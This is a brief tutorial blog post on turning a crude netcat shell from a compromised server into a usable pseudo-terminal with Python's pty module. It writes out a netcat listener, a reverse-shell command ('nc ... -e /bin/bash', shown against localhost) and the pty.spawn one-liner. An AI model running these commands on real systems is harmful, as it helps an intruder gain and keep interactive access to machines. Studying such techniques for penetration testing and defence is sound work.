This page looks best with JavaScript enabled

pseudoTerminal

 ·  🎃 kr0m

Sometimes we get a shell on a vulnerable server, but this shell is really uncomfortable because it doesn’t behave exactly like a regular shell. It doesn’t echo what we type, the prompt doesn’t appear, among many other inconveniences.

In this article, I will show a simple trick to solve this problem.

To perform the test, we will listen on a socket on our own computer on port 7777.

nc -lvp 7777

From another shell, we connect and verify that it doesn’t behave like a regular shell.

nc 127.0.0.1 7777 -e /bin/bash
id
ls

But if we start the shell from Python, we can use it normally.

python -c "import pty;pty.spawn('/bin/bash')"

It’s a simple trick, but it’s extremely useful in certain scenarios.

If you liked the article, you can treat me to a RedBull here